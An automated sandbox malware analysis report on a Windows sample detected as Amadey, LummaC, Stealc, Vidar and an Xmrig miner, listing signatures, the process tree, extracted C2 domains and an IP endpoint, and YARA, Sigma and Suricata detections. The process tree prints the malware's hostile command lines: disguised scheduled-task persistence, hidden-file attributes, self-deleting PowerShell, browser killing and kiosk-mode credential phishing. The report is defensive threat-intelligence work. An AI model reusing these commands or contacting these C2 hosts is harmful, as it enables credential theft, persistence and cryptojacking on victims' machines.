Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574173
MD5:	a9f08f49f037318cdd5537419aeae923
SHA1:	d32ff44a5c432b2eedaa2f3903f336ed7f92b69e
SHA256:	92aa7041261e1660388a18702544fbf2023eee7b6972b39b2ff059e81186150a
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A9F08F49F037318CDD5537419AEAE923)

skotes.exe (PID: 7592 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A9F08F49F037318CDD5537419AEAE923)

skotes.exe (PID: 7736 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A9F08F49F037318CDD5537419AEAE923)

skotes.exe (PID: 3320 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A9F08F49F037318CDD5537419AEAE923)

1747150d4f.exe (PID: 7216 cmdline: "C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe" MD5: 2A78CE9F3872F5E591D643459CABE476)

8ef456fdd1.exe (PID: 7436 cmdline: "C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe" MD5: 0A2E0CF36CB5586FB3ECFF4872B27B9D)

19ea177b6f.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 7756 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7772 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7788 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7828 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7848 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7860 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4476 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1732 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7580 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 2516 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 5812 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 5088 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 432 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2200 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5684 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4828 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

8b334ae3d2.exe (PID: 3868 cmdline: "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8b334ae3d2.exe (PID: 5700 cmdline: "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

d6cdb1061b.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe" MD5: DFD5F78A711FA92337010ECC028470B4)

6e8fec8a4f.exe (PID: 3900 cmdline: "C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe" MD5: 04D0F18AC9713155E57D1C5E6733C25D)

taskkill.exe (PID: 5272 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5804 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4416 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 648 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5820 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4940 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

Intel_PTT_EK_Recertification.exe (PID: 5904 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 2892 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 8116 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3896 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

firefox.exe (PID: 8176 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 600 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["impend-differ.biz", "formy-spill.biz", "print-vexer.biz", "covery-mover.biz", "zinc-sneark.biz", "drive-connect.cyou", "se-blurry.biz", "dwell-exclaim.biz", "dare-curbys.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000023.00000002.2751971624.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.2750266127.0000000000A39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2992170547.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2978110403.0000000000E2C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1428:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.2979879901.0000000002280000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4fac:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000023.00000002.2750266127.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: 1747150d4f.exe PID: 7216	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1747150d4f.exe PID: 7216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1747150d4f.exe PID: 7216	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5904	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 2892	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 8b334ae3d2.exe PID: 5700	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8b334ae3d2.exe PID: 5700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8b334ae3d2.exe PID: 5700	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d6cdb1061b.exe PID: 5236	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: d6cdb1061b.exe PID: 5236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6e8fec8a4f.exe PID: 3900	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
2.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.f50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
35.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
35.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6e8fec8a4f.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6e8fec8a4f.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 5812, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 2200, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 5812, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5684, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:41.230366+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:43.447117+0100	2028371	3	Unknown Traffic	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:46.802002+0100	2028371	3	Unknown Traffic	192.168.2.4	49862	172.67.213.48	443	TCP
2024-12-13T01:51:47.937138+0100	2028371	3	Unknown Traffic	192.168.2.4	49863	104.21.79.7	443	TCP
2024-12-13T01:51:49.339513+0100	2028371	3	Unknown Traffic	192.168.2.4	49869	172.67.213.48	443	TCP
2024-12-13T01:51:50.000070+0100	2028371	3	Unknown Traffic	192.168.2.4	49870	104.21.79.7	443	TCP
2024-12-13T01:51:51.748596+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	172.67.213.48	443	TCP
2024-12-13T01:51:54.806768+0100	2028371	3	Unknown Traffic	192.168.2.4	49887	172.67.213.48	443	TCP
